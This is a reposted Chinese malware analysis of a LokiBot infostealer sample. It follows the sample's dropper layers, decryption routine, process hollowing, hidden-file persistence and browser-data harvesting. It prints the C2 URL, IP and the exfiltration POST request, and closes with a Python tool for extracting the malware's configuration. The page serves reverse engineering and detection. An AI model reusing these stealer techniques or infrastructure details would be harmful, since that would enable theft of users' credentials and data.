lokibot样本分析

news2024/9/29 11:40:34

火绒剑行为监控

行为监控

1.主程序在temp文件夹下释放frhdgr.exe

2.并创建进程 参数为 C:\Users\xxx\AppData\Local\Temp\frhdgr.exe  C:\Users\xxx \AppData\Local\Temp\vxogkynyop

3.主进程退出

4.frhdgr.exe自我删除 并释放C:\Users\xxx\AppData\Roaming\F503CB\B28854.exe 隐藏文件

图片

网络监控

frhdgr.exe有网络连接和数据包发送等行为 数据包未加密

图片

恶意代码分析

第一层代码-释放PE文件

在temp文件夹下创建vxogkynyop文件

图片

向文件中写入加密的代码

图片

此加密代码解密后是一段shellcode 用于解密核心PE文件的

图片

还会再temp文件夹下创建wdxw2bfd6vcc5n文件 此文件为样本的核心代码 解密后的数据是PE文件 解密算法就在vxogkynyop文件中

图片

在临时文件夹下创建frhdgr.exe文件 向文件中写入PE文件

图片

创建进程 进程参数就是vxogkynyop文件

图片

提取样本

图片

第二层代码-frhdgr.exe进程

图片

解密代码 ((xx-0x18) ^ 0x80) - 0x28

图片

第三层代码-解密后的shellcode

1.Temp文件夹下打开了wdxw2bfd6vcc5n文件

2.获取wdxw2bfd6vcc5n文件的大小

3.申请空间 读入wdxw2bfd6vcc5n文件的数据

4.文件句柄关闭

图片

函数3a0a2b解密出PE文件

图片

又创建了自己 并且是挂起状态

图片

获取进程的线程上下文

图片

图片

在新创建的Frhdgr.exe进程申请空间 首地址为0x00400000

图片

向新创建的Frhdgr.exe进程拷贝PE文件(按内存对齐展开) 

注:此pe文件就是wdxw2bfd6vcc5n文件解密后的

图片

运行程序

图片

本进程退出

图片

第四层代码-新创建的Frhdgr.exe进程

开始会检查有没有 -u参数如果有就睡10秒

图片

获取键值

图片

键值计算的哈希值作为互斥体的名称 创建互斥体防多开

图片

此函数循环调用了65个函数 没有仔细的一个一个看 点进去几个 都是在获取用户机上已经安装的 病毒作者感兴趣的app的一些信息

图片

65个函数中第一个函数获取火狐浏览器的版本信息

图片

图片

浏览器的安装路径 还会获取一些其他的浏览器信息

图片

图片

收集用户信息

获取用户名称

图片

检索本地计算机的 NetBIOS 名称

图片

检索此 SID 的帐户名称和找到此 SID 的第一个域的名称

图片

网络相关

返回URL完整信息 http://sempersim.su/gg1/fre.php

图片

图片

解密URL

Sub_413bcc返回了完整的URL信息 函数会跳转到0x004A0000的位置执行代码 0x004A0000就是PE文件的.X段 .X段存储了解密代码 和未解密的数据

图片

解密前的URL数据 在.X偏移0x74的位置

图片

就是一个异或操作 数据异或0xFF

图片

解密后

图片

返回端口号 和要访问的路径

图片

图片

返回User Agent字段  Mozilla/4.08 (Charon; Inferno)

图片

图片

返回完整的post请求数据包

图片

通过以下的域名和端口返回了 addrinfo结构的链表

图片

EDI为addrinfo结构

图片

连接的服务器就是通过getaddrinfo返回的 Connect连接的IP地址34.175.248.207

图片

Send 发送数据

POST /gg1/fre.php HTTP/1.0 

User-Agent: Mozilla/4.08 (Charon; Inferno) 

Host: sempersim.su 

Accept: */*

Content-Type: application/octet-stream 

Content-Encoding: binary 

Content-Key: 80D85F96 

Content-Length: 206 

Connection: close

图片

发送开始收集到的用户的信息

图片

Recv接收数据

HTTP/1.1 408 Request Time-out 

content-length: 110 

cache-control: no-cache 

content-type: text/html 

connection: close

<html><body><h1>408 Request Time-out</h1>.Your browser didn't send acomplete request in time</body></html>

图片

函数返回注册表MachineGuid的值计算后的哈希值

图片

移动病毒文件 新文件夹名称是哈希值的8~13位 新文件名称是13~18位

图片

返回了注册表的路径 但感觉程序解析字符串的时候发生错误了

图片

转换后的注册表的路径

图片

创建键值 但是失败了 这里可以猜测病毒想加入到注册表自启动列表中 但是由于出现了什么问题 导致注册表路径发生错误 导致加入失败

图片

图片

设置文件的属性为系统文件且隐藏

图片

函数sub_412D31开始有获取用户信息的操作 然后会发送给服务器 服务器回应的信息作为线程的参数 线程回调处理接收到的数据

图片

线程部分

线程处理接收数据 

可再次获取浏览器的信息 支持下载数据 创建进程 加载模块和打开网页等操作

核心函数sub_40648B 通过参数的不同执行不同的操作 

参数介绍: 

1.要下载数据的地址(url) 

2.0

3.0

4.文件的后缀

5.CSIDL :26 通过SHGetFolderPathW函数获取C:\Program Files目录

6.值为1说明下载的是dll文件 值为0 会执行创建进程或者打开网页等操作

7.创建进程时的参数 0或者-u

图片

配置静态提取工具:

import re
import struct
import sys

import pefile
from Cryptodome.Cipher import DES3

DESCRIPTION = "LokiBot configuration parser."
AUTHOR = "honkone"


def find_iv(pe):
    iv = -1
    t = pe.get_memory_mapped_image() if isinstance(pe, pefile.PE) else pe
    temp = re.findall(rb"""\x68...\x00.{1,10}\x68...\x00\x68...\x00\x68...\x00\x03\xc1""", t)
    if temp != []:
        (addr,) = struct.unpack_from("<I", temp[0][1:])
        addr -= 0x400000
        iv = t[addr : addr + 8]
    return iv


def try_find_iv(pe):
    dlen = 8 * 4
    t = pe.get_memory_mapped_image() if isinstance(pe, pefile.PE) else pe
    off = t.find(b"\x6a\x08\x59\xbe")
    if off == -1:
        return -1
    (addr,) = struct.unpack_from("<I", t[off + 4 :])
    addr -= 0x400000

    # Go until past next blob to \x00\x00\x00\x00
    off = t[addr + dlen + 4 :].find(b"\x00\x00\x00\x00")
    off += addr + dlen + 4 + 4
    iv = t[off : off + 8]

    # This doesn't work for all samples... still interesting that the data is in close proximity sometimes
    nul, key3, nul, key2, nul, key1 = struct.unpack_from("<I8sI8sI8s", t[off + 8 :])

    # key = f"\x08\x02\x00\x00\x03\x66\x00\x00\x18\x00\x00\x00{key1}{key2}{key3}"

    return iv


def find_conf(pe):
    dlen = 8 * 4
    t = pe.get_memory_mapped_image() if isinstance(pe, pefile.PE) else pe
    off = t.find(b"\x6a\x08\x59\xbe")
    (addr,) = struct.unpack_from("<I", t[off + 4 :])
    # print(hex(addr))
    addr -= 0x400000
    ret = [t[addr : addr + dlen]]
    dlen = 10 * 4
    off = t.find(b"\x6a\x0a\x59\xbe")
    (addr,) = struct.unpack_from("<I", t[off + 4 :])
    # print(hex(addr))
    addr -= 0x400000
    ret.append(t[addr : addr + dlen])

    return ret


def find_key(pe):
    ret = None
    t = pe.get_memory_mapped_image() if isinstance(pe, pefile.PE) else pe
    temp = re.findall(rb"""\x68...\x00\x68...\x00\x68...\x00\x03\xc1""", t)
    if temp != []:
        ret = "\x08\x02\x00\x00\x03\x66\x00\x00\x18\x00\x00\x00"
        temp = temp[0][:-2].split("\x68")[::-1]
        for a in temp:
            if a != "":
                (addr,) = struct.unpack_from("<I", a)
                # print(hex(addr))
                addr -= 0x400000
                ret += t[addr : addr + 8]
    return ret


def decoder(data):
    x_sect = None

    urls = re.findall(rb"""https?:\/\/[a-zA-Z0-9\/\.:\-_]+""", data)

    pe = None
    try:
        pe = pefile.PE(sys.argv[1])

        for sect in pe.sections:
            if ".x" in sect.Name:
                x_sect = sect
        img = pe.get_memory_mapped_image()
    except Exception:
        img = data
    if x_sect is not None:
        x = img[x_sect.VirtualAddress : x_sect.VirtualAddress + x_sect.SizeOfRawData]
        x = bytearray(x)
    else:
        x = bytearray(img)

    for i in range(len(x)):
        x[i] ^= 0xFF

    temp = re.findall(rb"""https?:\/\/[a-zA-Z0-9\/\.:\-_]+""", x)
    urls += temp

    urls = [x for x in urls if x not in ("http://www.ibsensoftware.com/", "")]

    # Try to decrypt onboard config then
    if not urls:
        temp = ""
        if pe is None:
            pe = data
        key = find_key(pe)
        # iv = try_find_iv(pe)
        iv = find_iv(pe)
        confs = find_conf(pe)
        if iv not in ["", -1] and confs != []:
            for conf in confs:
                dec = DES3.new(key[12:], DES3.MODE_CBC, iv)
                temp += dec.decrypt(conf)
            temp_urls = re.findall(rb"""[a-zA-Z0-9\/\.:\-_]{6,}""", temp)
            urls += temp_urls

    return urls


def extract_config(filebuf):
    urls = decoder(filebuf)
    return {"address": [url.decode() for url in urls]}


if __name__ == "__main__":
    with open(sys.argv[1], "rb") as f:
        data = f.read()

    print(extract_config(data))

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/852971.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【ARM Cache 系列文章 8 -- ARM DynamIQ 技术介绍

文章目录 DynamIQ 技术背景DynamIQ技术详解DynamIQ 与 big.LITTLEDynamIQ cluster 分类硬件支持 DynamIQ为什么适合人工智能&#xff1f; DynamIQ 技术背景 2017年3月21日下午&#xff0c;ARM在北京金隅喜来登酒店召开发布会&#xff0c;正式发布了全新的有针对人工智能及机器…

推动多云管理平台发展的因素简单分析

随着云计算的快速发展&#xff0c;上云企业的不断增加&#xff0c;使用多云管理平台企业也在快速增加&#xff0c;多云管理平台发展越来越迅速。但还有不少人不明白为什么多云管理平台发展会这么快&#xff0c;推动多云管理平台发展的因素有哪些&#xff1f;今天我们大家就来简…

/proc directory in linux

Its zero-length files are neither binary nor text, yet you can examine and display themUnder Linux, everything is managed as a file; even devices are accessed as files (in the /dev directory). Although you might think that “normal” files are either text …

windows11 svn 找不到clean up选项

刚开始使用windows 11 系统&#xff0c;在更新项目时遇到冲突&#xff0c;提示clean up&#xff0c;于是在项目点击右键svn里没找到clean up 这项&#xff0c;后来才知道需要在settings里勾选才能有&#xff0c;如下图&#xff1a;

stm32_断点调试无法进入串口接收中断

先说结果&#xff0c;可能是stm32调试功能/keil软件/调试器&#xff08;试过STLINK和JLINK两种&#xff09;的问题&#xff0c;不是代码&#xff1b; 1、入坑 配置完串口后&#xff0c;可以发送数据到串口助手&#xff0c;但不能接收数据并做处理&#xff0c;所以第一步&…

低代码培训实录:个性化策略助力企业成长

比起培训总监&#xff0c;其实我更愿意将自己看作是 1 个有 5 年经验的低代码开发爱好者。 ​ 作者介绍 胡杰&#xff0c;万应低代码培训总监、产品专家&#xff0c;主导过多个百万级低代码项目交付。 这几年来&#xff0c;我亲眼见证了低代码平台在国内的崛起&#xff1a;从最…

ESP8266_RTOS_SDK AP和Station功能实现

一、开发环境搭建 SDK开发工具集选择乐鑫配置&#xff1a;VirtualBox Linux 交叉编译工具 使用的是以下这块开发板 VirtualBox下载地址 Lubuntu 镜像下载地址Lubuntu是一个轻量级系统&#xff08;由乐鑫官方提供&#xff09; source insight 编辑代码 为了便于我们开发&…

微信-网页授权

参考文档 基础配置 代码测试说明测试公众号配置你本地的ip 完整的代码在文字末尾 下载微信的开发者工具 公众号AppId以及AppSecret的申请,并可以获取到token 注意 回调地址需要和js安全域名配置为同一个 授权地址必须在微信执行(本地在微信的开发工具进行执行) 授权地址…

卷积神经网络实现彩色图像分类 - P2

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f366; 参考文章&#xff1a;365天深度学习训练营-第P2周&#xff1a;彩色识别&#x1f356; 原作者&#xff1a;K同学啊 | 接辅导、项目定制&#x1f680; 文章来源&#xff1a;K同学的学习圈子…

网络嗅探,大神都在用这10个抓包工具

下午好&#xff0c;我的网工朋友。 前两天发了一篇网工能干的工作大科普&#xff0c;没看过的看这&#xff1a;《不得不说&#xff0c;网工能干的活也太多了吧》。 然后有小友就说&#xff0c;里面的有些工作岗位要求&#xff0c;自己不知道从哪去补充知识&#xff0c;希望可…

【Java并发】synchronized关键字的底层原理

文章目录 1.synchronized作用2.synchronized加锁原理3.monitor锁4.synchronized锁的优化4.1.自适应性自旋锁4.2.偏向锁4.3.轻量级锁4.3.重量级锁 5.总结 1.synchronized作用 synchronized是Java提供一种隐式锁&#xff0c;无需开发者手动加锁释放锁。保证多线程并发情况下数据…

dubbo之高可用

负载均衡 概述 负载均衡是指在集群中&#xff0c;将多个数据请求分散到不同的单元上执行&#xff0c;主要是为了提高系统的容错能力和对数据的处理能力。 Dubbo 负载均衡机制是决定一次服务调用使用哪个提供者的服务。 策略 在Dubbo中提供了7中负载均衡策略&#xff0c;默…

1.0 Python 标准输入与输出

python 是一种高级、面向对象、通用的编程语言&#xff0c;由Guido van Rossum发明&#xff0c;于1991年首次发布。python 的设计哲学强调代码的可读性和简洁性&#xff0c;同时也非常适合于大型项目的开发。python 语言被广泛用于Web开发、科学计算、人工智能、自动化测试、游…

C#实现三菱FX-3U SerialOverTcp

设备信息 测试结果 D值测试 Y值写入后读取测试 协议解析 三菱FX 3U系列PLC的通信协议 1. 每次给PLC发送指令后&#xff0c;必须等待PLC的应答完成才能发送下一条指令; 2. 报文都是十六进制ASCII码的形式 3. 相关指令 指令 命令码&#xff08;ASCII码&#xff09; 操作原件 …

七牛云获取qn(url、bucket、access-key、secret-key)

1.注册账号 2.access-key和secret-key&#xff1a; 点击“密钥管理” 复制AK和SK即可 域名&#xff1a; bucket&#xff1a; 这个就是对象存储空间名字 先新建一个空间&#xff08;没买需要先购买&#xff09;&#xff0c;步骤如下&#xff1a; 填写存储空间名字&#xff0…

“OSError: [WinError 1455]页面文件太小,无法完成操作。”解决方案

按照下面步骤, 会发现电脑默认情况下是没有给D盘分配虚拟内存的, 所以将Python装在D盘的朋友, 在跑程序时, 没有分配虚拟内存, 自然就遇到了上面的问题, 所以根本操作只要给D盘分配虚拟内存即可 第一步&#xff1a;鼠标右击我的电脑 (此电脑)&#xff0c;点击属性进入以下界面 …

PostMessage/SendMessage在不同线程的调用探究

PostMessage和SendMessage是我们比较常用的windows API&#xff0c;最近也探究这两个api在调用之后&#xff0c;执行的线程问题&#xff0c;发现如下结论&#xff1a; 仅仅是RegisterClass注册类之后&#xff0c;调用createwindow第一个参数通过&#xff1a;(const TCHAR*)base…

three.js 地球与卫星绕地飞行【真实三维数据】

&#xff08;真实经纬度运行轨迹&#xff09; 完整代码 <template><div class"home3dMap" id"home3dMap" v-loading"loading"></div> </template><script> import * as THREE from three import { OrbitControl…

【K8S 的二进制搭建】

目录 一、二进制搭建 Kubernetes v1.201、准备环境 二、操作系统初始化配置三、部署 etcd 集群1、准备签发证书环境2、在 master01 节点上操作1、生成Etcd证书 3、在 node01 节点上操作4、在 node02 节点上操作 四、部署 Master 组件五、部署 docker引擎六、部署 Worker Node 组…